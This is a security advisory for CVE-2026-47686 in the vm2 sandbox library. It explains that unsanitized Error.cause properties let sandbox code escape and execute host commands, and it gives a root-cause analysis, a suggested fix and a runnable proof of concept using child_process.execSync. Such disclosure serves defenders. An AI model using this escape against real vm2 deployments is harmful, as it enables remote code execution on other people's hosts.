CVE-2026-47686

**Affected:** vm2 <= 3.11.3 **CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-693 (Protection Mechanism Failure) **Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`) ## Summary I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host. The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim. ## Root Cause The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`. ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked } ``` Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked. ## Affected Code - `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling) - `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause` - `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered ## Reproduction Embedder code that exposes a function throwing with `.cause` set to `process`: ```javascript const { VM } = require('vm2'); const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } }); const result = vm.run(` try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); } `); console.log(result); ``` Verified output: ``` uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... ``` Full RCE confirmed. ## Impact Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains: - Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way. ## Suggested Fix Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types: ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]); // Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { /* best effort */ } let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; } ``` `docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships. ## Artifacts | File | Role | |------|------| | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` | [poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)